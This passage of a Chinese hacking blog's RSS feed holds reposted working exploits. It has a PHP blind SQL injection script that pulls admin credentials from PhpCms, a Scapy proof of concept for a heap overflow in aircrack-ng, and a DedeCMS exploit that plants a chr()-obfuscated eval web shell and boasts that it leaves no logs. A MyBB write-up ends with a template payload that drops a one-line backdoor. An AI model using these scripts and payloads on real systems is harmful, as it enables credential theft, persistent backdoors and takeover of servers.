<p>"\n\n");</p>
<p>}</p>
<p>function query($pos, $chr, $chs)</p>
<p>{</p>
<p>global $prefix;</p>
<p>switch ($chs){</p>
<p>case 0:</p>
<p>$query = "#";</p>
<p>break;</p>
<p>case 1:</p>
<p>$query = " ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";</p>
<p>break;</p>
<p>case 2:</p>
<p>$query = " ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";</p>
<p>break;</p>
<p>case 3:</p>
<p>$query = " length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}#";</p>
<p>break;</p>
<p>}</p>
<p>$query = str_replace(" ", "/**/", $query);</p>
<p>$query = urlencode($query);</p>
<p>return $query;</p>
<p>}</p>
<p>function exploit($hostname, $path, $pos, $chr, $chs)</p>
<p>{</p>
<p>$chr = ord($chr);</p>
<p>$conn = fsockopen($hostname, 80);</p>
<p>//print_r($conn);</p>
<p>/*if (!$conn){</p>
<p>exit("\r\n[-] No response from $conn");</p>
<p>}*/</p>
<p>$postdata = "q=&amp;action=searchlist&amp;where=".query($pos, $chr, $chs);</p>
<p>$message = "POST ".$path."/product.php HTTP/1.1\r\n";</p>
<p>$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "Accept-Encoding: gzip, deflate\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $hostname\r\n";</p>
<p>$message .= "Content-Length: ".strlen($postdata)."\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$message .= $postdata;</p>
<p>//echo $message;</p>
<p>fputs($conn, $message);</p>
<p>while (!feof($conn))</p>
<p>$reply .= fgets($conn, 1024);</p>
<p>fclose($conn);</p>
<p>return $reply;</p>
<p>}</p>
<p>function crkusername($hostname, $path, $chs)</p>
<p>{</p>
<p>global $length;</p>
<p>$key = "abcdefghijklmnopqrstuvwxyz0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] username: ";</p>
<p>while ($pos &lt;= $length)</p>
<p>{</p>
<p>$response = exploit($hostname, $path, $pos, $key[$chr], $chs);</p>
<p>preg_match ("/&lt;span class=\"time\"&gt;(.+)&lt;\/span&gt;&lt;\/strong&gt;/i", $response, $match);</p>
<p>if (strlen(trim($match[1])) != 0)</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n";</p>
<p>}</p>
<p>function crkpassword($hostname, $path, $chs)</p>
<p>{</p>
<p>$key = "abcdef0123456789";</p>
<p>$chr = 0;</p>
<p>$pos = 1;</p>
<p>echo "[+] password: ";</p>
<p>while ($pos &lt;= 32)</p>
<p>{</p>
<p>$response = exploit($hostname, $path, $pos, $key[$chr], $chs);</p>
<p>preg_match ("/&lt;span class=\"time\"&gt;(.+)&lt;\/span&gt;&lt;\/strong&gt;/i", $response, $match);</p>
<p>if (strlen(trim($match[1])) != 0)</p>
<p>{</p>
<p>echo $key[$chr];</p>
<p>$chr = 0;</p>
<p>$pos++;</p>
<p>}</p>
<p>else</p>
<p>$chr++;</p>
<p>}</p>
<p>echo "\n\n";</p>
<p>}</p>
<p>function lengthcolumns($hostname, $path, $chs)</p>
<p>{</p>
<p>echo "[+] username length: ";</p>
<p>$exit = 0;</p>
<p>$length = 0;</p>
<p>$pos = 1;</p>
<p>$chr = 0;</p>
<p>while ($exit==0)</p>
<p>{</p>
<p>$response = exploit($hostname, $path, $pos, $chr, $chs);</p>
<p>preg_match ("/&lt;span class=\"time\"&gt;(.+)&lt;\/span&gt;&lt;\/strong&gt;/i", $response, $match);</p>
<p>if (strlen(trim($match[1])) != 0)</p>
<p>{</p>
<p>$exit = 1;</p>
<p>$length = $pos;</p>
<p>}</p>
<p>else</p>
<p>$pos++;</p>
<p>}</p>
<p>echo $length."\n";</p>
<p>return $length;</p>
<p>}</p>
<p>function getprefix($hostname, $path, $chs)</p>
<p>{</p>
<p>echo "[+] prefix: ";</p>
<p>$pos = 0;</p>
<p>$chr = 0;</p>
<p>$response = exploit($hostname, $path, $pos, $chr, $chs);</p>
<p>preg_match('/FROM `(.+)yp_product/ie',$response,$match);</p>
<p>if ($match[1])</p>
<p>return $match[1];</p>
<p>else</p>
<p>return false;</p>
<p>}</p>
<p>if ($argc != 3)</p>
<p>usage();</p>
<p>$prefix="";</p>
<p>$hostname = $argv[1];</p>
<p>$path = $argv[2];</p>
<p>$prefix = getprefix($hostname, $path, 0);</p>
<p>if ($prefix)</p>
<p>{</p>
<p>echo $prefix."\r\n";</p>
<p>$length = lengthcolumns($hostname, $path, 3);</p>
<p>crkusername($hostname, $path, 1);</p>
<p>crkpassword($hostname, $path, 2);</p>
<p>}</p>
<p>else</p>
<p>{</p>
<p>exit("\r\n[-] Exploit failed");</p>
<p>}</p>
<p>?&gt;
</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2009年09月21日 -- <a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1955.html" title="Easy Media Script SQL Injection Vulnerability">Easy Media Script SQL Injection Vulnerability</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1926.html" title="Joomla Component com_hello SQL Injection Vulnerability">Joomla Component com_hello SQL Injection Vulnerability</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年06月6日 -- <a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li><li>2010年04月15日 -- <a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li><li>2010年04月14日 -- <a href="http://www.4shell.org/archives/1690.html" title="SFX-SQLi SQL2005/2008注入工具">SFX-SQLi SQL2005/2008注入工具</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1753.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote Exploit Against the Aircrack-NG Tools svn r1675</title>
		<link>http://www.4shell.org/archives/1692.html</link>
		<comments>http://www.4shell.org/archives/1692.html#comments</comments>
		<pubDate>Thu, 15 Apr 2010 02:53:33 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Aircrack-ng]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1692.html</guid>
		<description><![CDATA[#!/usr/bin/env python # -*- coding: UTF-8 -*- ''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675. The tools' code responsible for parsing IEEE802.11-packets assumes the self-proclaimed length of a EAPOL-packet to be correct and never to exceed a (arbitrary) maximum size of 256 bytes for packets that are part of the EAPOL-authentication. [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>#!/usr/bin/env python</p>
<p># -*- coding: UTF-8 -*-</p>
<p>''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.</p>
<p>The tools' code responsible for parsing IEEE802.11-packets assumes the</p>
<p>self-proclaimed length of a EAPOL-packet to be correct and never to exceed</p>
<p>a (arbitrary) maximum size of 256 bytes for packets that are part of the</p>
<p>EAPOL-authentication. We can exploit this by letting the code parse packets</p>
<p>which:</p>
<p>a) proclaim to be larger than they really are, possibly causing the code</p>
<p>to read from invalid memory locations while copying the packet;</p>
<p>b) really do exceed the maximum size allowed and overflow data structures</p>
<p>allocated on the heap, overwriting libc's allocation-related</p>
<p>structures. This causes heap-corruption.</p>
<p>Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-</p>
<p>path. Careful layout of the packet's content can even possibly alter the</p>
<p>instruction-flow through the already well known heap-corruption paths</p>
<p>in libc. Playing with the proclaimed length of the EAPOL-packet and the</p>
<p>size and content of the packet's padding immediately end up in various</p>
<p>assertion errors during calls to free(). This reveals the possibility to</p>
<p>gain control over $EIP.</p>
<p>Given that we have plenty of room for payload and that the tools are</p>
<p>usually executed with root-privileges, we should be able to have a</p>
<p>single-packet-own-everything exploit at our hands. As the attacker can</p>
<p>cause the various tools to do memory-allocations at his will (through</p>
<p>faking the appearance of previously unknown clients), the resulting</p>
<p>exploit-code should have a high probability of success.</p>
<p>The demonstration-code below requires Scapy &gt;= 2.x and Pyrit &gt;= 0.3.1-dev</p>
<p>r238 to work. It generates pcap-file with single packet of the following</p>
<p>content:</p>
<p>0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0</p>
<p>108000000000000000000000000000000000000000000000000000000000000000000000000</p>
<p>000000000000000000000000000000000000000000000000000000000000000000000000000</p>
<p>000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172</p>
<p>3F</p>
<p>03/27/2010, Lukas Lueg, lukas.lueg@gmail.com</p>
<p>'''</p>
<p>import cpyrit.pckttools</p>
<p>import scapy.layers</p>
<p># A IEEE802.11-packet with LLC- and SNAP-header, looking like the second</p>
<p># phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-</p>
<p># packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and</p>
<p># struct WPA_hdsk.</p>
<p># We have plenty of room for exploit-payload as most of the fields in the</p>
<p># EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent</p>
<p># heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in</p>
<p># case of airodump-ng...</p>
<p>pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00',       \</p>
<p>addr2='00:de:ad:c0:de:01',       \</p>
<p>FCfield='to-DS')                 \</p>
<p>/ scapy.layers.dot11.LLC()                                \</p>
<p>/ scapy.layers.dot11.SNAP()                               \</p>
<p>/ scapy.layers.l2.EAPOL(len=65000)                        \</p>
<p>/ cpyrit.pckttools.EAPOL_Key()                            \</p>
<p>/ cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \</p>
<p>/ scapy.packet.Padding(load='Can I has some moar?')</p>
<p>if __name__ == '__main__':</p>
<p>print "Packet's content:"</p>
<p>print ''.join("%02X" % ord(c) for c in str(pckt))</p>
<p>filename = 'aircrackng_exploit.cap'</p>
<p>print "Writing to '%s'" % filename</p>
<p>writer = cpyrit.pckttools.Dot11PacketWriter(filename)</p>
<p>writer.write(pckt)</p>
<p>writer.close()</p>
<p>print 'Done'</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1842.html" title="PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)">PuTTY 0.60 DLL Hijacking Exploit (winmm.dll)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li><li>2009年09月21日 -- <a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li><li>2009年09月20日 -- <a href="http://www.4shell.org/archives/1103.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</a></li><li>2009年09月4日 -- <a href="http://www.4shell.org/archives/1090.html" title="Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit">Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1692.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DedeCms v5.5 0day</title>
		<link>http://www.4shell.org/archives/1615.html</link>
		<comments>http://www.4shell.org/archives/1615.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 01:53:34 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[DedeCMS]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1615.html</guid>
		<description><![CDATA[官方暂时没出补丁,不过我估计快了 执行成功会在在data/cache下生成t.php一句话小马 密码t,官方最新GBK和utf-8版本存在此漏洞, 此exp得特点是生产t.php得时候不留日志 &#60;?php print_r(' +----------------------------------------+ dedecms v5.5 final getwebshell exploit +----------------------------------------+ '); if ($argc &#60; 3) { print_r(' +----------------------------------------+ Usage: php '.$argv[0].' host path host: target server (ip/hostname) path: path to dedecms Example: php '.$argv[0].' localhost /dedecms/ +----------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $post_a = 'plus/digg_ajax.php?id=1024e1024&#38;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97) [...]]]></description>
			<content:encoded><![CDATA[<p>官方暂时没出补丁,不过我估计快了<br />
执行成功会在在data/cache下生成t.php一句话小马<br />
密码t,官方最新GBK和utf-8版本存在此漏洞,<br />
此exp得特点是生产t.php得时候不留日志</p>
<p><span id="more-1615"></span></p>
<blockquote><p>&lt;?php</p>
<p>print_r('</p>
<p>+----------------------------------------+</p>
<p>dedecms v5.5 final getwebshell exploit</p>
<p>+----------------------------------------+</p>
<p>');</p>
<p>if ($argc &lt; 3) {</p>
<p>print_r('</p>
<p>+----------------------------------------+</p>
<p>Usage: php '.$argv[0].' host path</p>
<p>host:      target server (ip/hostname)</p>
<p>path:      path to dedecms</p>
<p>Example:</p>
<p>php '.$argv[0].' localhost /dedecms/</p>
<p>+----------------------------------------+</p>
<p>');</p>
<p>exit;</p>
<p>}</p>
<p>error_reporting(7);</p>
<p>ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];</p>
<p>$path = $argv[2];</p>
<p>$post_a = 'plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97)</p>
<p>.chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104)</p>
<p>.chr(101).chr(47).chr(116).chr(46).chr(112).chr(104)</p>
<p>.chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112)</p>
<p>.chr(104).chr(112).chr(32).chr(101).chr(118).chr(97)</p>
<p>.chr(108).chr(40).chr(36).chr(95).chr(80).chr(79)</p>
<p>.chr(83).chr(84).chr(91).chr(39).chr(116).chr(39)</p>
<p>.chr(93).chr(41).chr(59).chr(63).chr(62));/*';</p>
<p>$post_b = 'needCode=aa/../../../data/mysql_error_trace';</p>
<p>$shell = 'data/cache/t.php';</p>
<p>get_send($post_a);</p>
<p>post_send('plus/comments_frame.php',$post_b);</p>
<p>$content = post_send($shell,'t=echo tojen;');</p>
<p>if(substr($content,9,3)=='200'){</p>
<p>echo "\nShell Address is:".$host.$path.$shell;</p>
<p>}else{</p>
<p>echo "\nError.";</p>
<p>}</p>
<p>function get_send($url){</p>
<p>global $host, $path;</p>
<p>$message = "GET ".$path."$url  HTTP/1.1\r\n";</p>
<p>$message .= "Accept: */*\r\n";</p>
<p>$message .= "Referer: http://$host$path\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $host\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$fp = fsockopen($host, 80);</p>
<p>if(!$fp){</p>
<p>echo "\nConnect to host Error";</p>
<p>}</p>
<p>fputs($fp, $message);</p>
<p>$back = '';</p>
<p>while (!feof($fp))</p>
<p>$back .= fread($fp, 1024);</p>
<p>fclose($fp);</p>
<p>return $back;</p>
<p>}</p>
<p>function post_send($url,$cmd){</p>
<p>global $host, $path;</p>
<p>$message = "POST ".$path."$url  HTTP/1.1\r\n";</p>
<p>$message .= "Accept: */*\r\n";</p>
<p>$message .= "Referer: http://$host$path\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $host\r\n";</p>
<p>$message .= "Content-Length: ".strlen($cmd)."\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$message .= $cmd;</p>
<p>$fp = fsockopen($host, 80);</p>
<p>if(!$fp){</p>
<p>echo "\nConnect to host Error";</p>
<p>}</p>
<p>fputs($fp, $message);</p>
<p>$back = '';</p>
<p>while (!feof($fp))</p>
<p>$back .= fread($fp, 1024);</p>
<p>fclose($fp);</p>
<p>return $back;</p>
<p>}</p>
<p>?&gt;</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年08月28日 -- <a href="http://www.4shell.org/archives/1066.html" title="dedecms 5.3 – 5.5注入漏洞">dedecms 5.3 – 5.5注入漏洞</a></li><li>2010年06月10日 -- <a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1722.html" title="Shopex V4.8.4 V4.8.5 0Day 通杀">Shopex V4.8.4 V4.8.5 0Day 通杀</a></li><li>2010年04月1日 -- <a href="http://www.4shell.org/archives/1641.html" title="PDF最新0day">PDF最新0day</a></li><li>2010年03月24日 -- <a href="http://www.4shell.org/archives/1632.html" title="Firefox 3.6 0day被补了">Firefox 3.6 0day被补了</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2010年01月20日 -- <a href="http://www.4shell.org/archives/1481.html" title="IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告">IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1112.html" title="新云4.0最新0day">新云4.0最新0day</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1615.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MyBB 1.4 admin remote code execution vulnerability</title>
		<link>http://www.4shell.org/archives/1475.html</link>
		<comments>http://www.4shell.org/archives/1475.html#comments</comments>
		<pubDate>Mon, 18 Jan 2010 11:50:13 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[MyBB]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1475.html</guid>
		<description><![CDATA[by flyh4t team: http://www.80vul.com date: 2010-01-10 测试版本MyBB 1.44.11 [一]漏洞分析 在index.php文件336行左右代码如下： //index.php,336行左右 $plugins->run_hooks("index_end"); //出现了eval函数，注意参数 eval("$index = "".$templates->get("index")."";"); output_page($index); 看以下eval()函数中的内容是否可以控制，继续找到templates类查看get函数的定义: //inc/class_templates.php,65行左右 function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; // // DEVELOPMENT MODE // if($mybb->dev_mode == 1) { $template = $this->dev_get($title); if($template !== false) { $this->cache[$title] = $template; } } if(!isset($this->cache[$title])) { $query = $db->simple_select("templates", "template", [...]]]></description>
			<content:encoded><![CDATA[<p>by <a href="http://www.80vul.com/exp/mybb.txt" target="_blank">flyh4t</a><br />
team: http://www.80vul.com<br />
date: 2010-01-10</p>
<p>测试版本MyBB 1.44.11</p>
<p>[一]漏洞分析</p>
<p>在index.php文件336行左右代码如下：</p>
<blockquote><p>
//index.php,336行左右</p>
<p>$plugins->run_hooks("index_end");<br />
//出现了eval函数，注意参数<br />
eval("$index = "".$templates->get("index")."";");<br />
output_page($index);
</p></blockquote>
<p>看以下eval()函数中的内容是否可以控制，继续找到templates类查看get函数的定义:<br />
<span id="more-1475"></span></p>
<blockquote><p>
//inc/class_templates.php,65行左右</p>
<p>function get($title, $eslashes=1, $htmlcomments=1)<br />
	{<br />
		global $db, $theme, $mybb;</p>
<p>		//<br />
		// DEVELOPMENT MODE<br />
		//<br />
		if($mybb->dev_mode == 1)<br />
		{<br />
			$template = $this->dev_get($title);<br />
			if($template !== false)<br />
			{<br />
				$this->cache[$title] = $template;<br />
			}<br />
		}</p>
<p>		if(!isset($this->cache[$title]))<br />
		{<br />
			$query = $db->simple_select("templates", "template", "title='".$db->escape_string($title)."' AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1));<br />
        //从数据库里面的取出模版的代码<br />
			$gettemplate = $db->fetch_array($query);<br />
			if($mybb->debug_mode)<br />
			{<br />
				$this->uncached_templates[$title] = $title;<br />
			}</p>
<p>			if(!$gettemplate)<br />
			{<br />
				$gettemplate['template'] = "";<br />
			}</p>
<p>			$this->cache[$title] = $gettemplate['template'];<br />
		}<br />
		$template = $this->cache[$title];</p>
<p>		if($htmlcomments)<br />
		{<br />
			if($mybb->settings['tplhtmlcomments'] == 1)<br />
			{<br />
				$template = "<!-- start: ".htmlspecialchars_uni($title)." -->n{$template}n<!-- end: ".htmlspecialchars_uni($title)." -->";<br />
			}<br />
			else<br />
			{<br />
				$template = "n{$template}n";<br />
			}<br />
		}</p>
<p>		if($eslashes)<br />
		{<br />
			$template = str_replace("'", "'", addslashes($template));<br />
		}<br />
		return $template;<br />
	}
</p></blockquote>
<p>从上面的代码可以看出，get()函数是从数据库里面取出模板的内容经过处理后返回给eval函数。继续来跟以下，<br />
看看数据库里面的数据是如何来的:</p>
<blockquote><p>
//admin/modules/style/templates.php,372行开始</p>
<p>	if($mybb->input['action'] == "edit_template")<br />
{<br />
	$plugins->run_hooks("admin_style_templates_edit_template");</p>
<p>	if(!$mybb->input['title'] || !$sid)<br />
	{<br />
		flash_message($lang->error_missing_input, 'error');<br />
		admin_redirect("index.php?module=style/templates");<br />
	}</p>
<p>	if($mybb->request_method == "post")<br />
	{<br />
		if(empty($mybb->input['title']))<br />
		{<br />
			$errors[] = $lang->error_missing_title;<br />
		}</p>
<p>		if(!$errors)<br />
		{<br />
			$query = $db->simple_select("templates", "*", "tid='{$mybb->input['tid']}'");<br />
			$template = $db->fetch_array($query);<br />
			//获取到我们输入的内容，包括模板的标题和内容<br />
			$template_array = array(<br />
				'title' => $db->escape_string($mybb->input['title']),<br />
				'sid' => $sid,<br />
				'template' => $db->escape_string(trim($mybb->input['template'])),<br />
				'version' => $mybb->version_code,<br />
				'status' => '',<br />
				'dateline' => TIME_NOW<br />
			);</p>
<p>			// Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten<br />
			$query = $db->simple_select("templates", "tid", "title='".$db->escape_string($template['title'])."' AND (sid = '-2' OR sid = '{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1));<br />
			$template['tid'] = $db->fetch_field($query, "tid");</p>
<p>			if($sid > 0)<br />
			{<br />
				// Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it)  or if it's a custom template<br />
				$query = $db->simple_select("templates", "sid", "title='".$db->escape_string($mybb->input['title'])."' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc'));<br />
				$existing_sid = $db->fetch_field($query, "sid");<br />
				$existing_rows = $db->num_rows($query);<br />
				//更新模版数据库<br />
				if(($existing_sid == -2 &#038;& $existing_rows == 1) || $existing_rows == 0)<br />
				{<br />
					$tid = $db->insert_query("templates", $template_array);<br />
				}<br />
				else<br />
				{<br />
					$db->update_query("templates", $template_array, "tid='{$template['tid']}' AND sid != '-2'");<br />
				}<br />
			}
</p></blockquote>
<p>从以上的代码可以发现，这是一个典型的“二次”漏洞.我们在后台将php代码通过编辑模板注入到数据库，然后到访问前台文件取出代码进入eval函数成功执行代码，注入代码的时候要规避一些敏感符号。比较遗憾的是这个漏洞需要管理员权限才能利用，仅能作为后台getwebshell的方法。</p>
<p>[二]漏洞利用：</p>
<p>在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index<br />
在{$headerinclude}下写入如下一段代码后保存:</p>
<blockquote><p>
{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).<br />
chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).<br />
chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).<br />
chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).<br />
chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).<br />
chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).<br />
chr(60).chr(63).chr(112).chr(104).chr(112).<br />
chr(32).chr(64).chr(36).chr(95).chr(80).chr(79)<br />
.chr(83).chr(84).chr(91).chr(119).chr(93).chr(40)<br />
.chr(36).chr(95).chr(80).chr(79).chr(83).chr(84)<br />
.chr(91).chr(102).chr(93).chr(41).chr(63).<br />
chr(62).chr(39).chr(41).chr(59))}}
</p></blockquote>
<p>访问首页后将在cache目录下生成flyh4t.php，内容为<?php @$_POST[w]($_POST[f])?>，可以使用客户端连接。</p>
<h2  class="related_post_title">随机日志</h2><ul class="related_post"><li>2009年07月28日 -- <a href="http://www.4shell.org/archives/966.html" title="SQL语句导入导出大全">SQL语句导入导出大全</a></li><li>2009年12月11日 -- <a href="http://www.4shell.org/archives/1324.html" title="【转载】我和老公的那些害羞事儿">【转载】我和老公的那些害羞事儿</a></li><li>2006年12月11日 -- <a href="http://www.4shell.org/archives/124.html" title="超级多韩国高清晰MV集合 需要eMule下载">超级多韩国高清晰MV集合 需要eMule下载</a></li><li>2009年01月24日 -- <a href="http://www.4shell.org/archives/726.html" title="VMware漏洞实例分析之一 – 共享文件夹目录遍历漏洞">VMware漏洞实例分析之一 – 共享文件夹目录遍历漏洞</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li><li>2006年11月26日 -- <a href="http://www.4shell.org/archives/118.html" title="DB_ONER权限日志备分专用一句话木马">DB_ONER权限日志备分专用一句话木马</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2058.html" title="几个在线密码破解网站的比较">几个在线密码破解网站的比较</a></li><li>2006年09月23日 -- <a href="http://www.4shell.org/archives/22.html" title="在韩中国留学生对韩国的真实评价">在韩中国留学生对韩国的真实评价</a></li><li>2009年12月2日 -- <a href="http://www.4shell.org/archives/1299.html" title="迪拜地产废墟下掩埋了多少温州资本家">迪拜地产废墟下掩埋了多少温州资本家</a></li><li>2008年11月23日 -- <a href="http://www.4shell.org/archives/657.html" title="windows系统目录环境变量大全(目录简写)">windows系统目录环境变量大全(目录简写)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1475.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz!7.1、7.2远程代码执行漏洞exploit</title>
		<link>http://www.4shell.org/archives/1464.html</link>
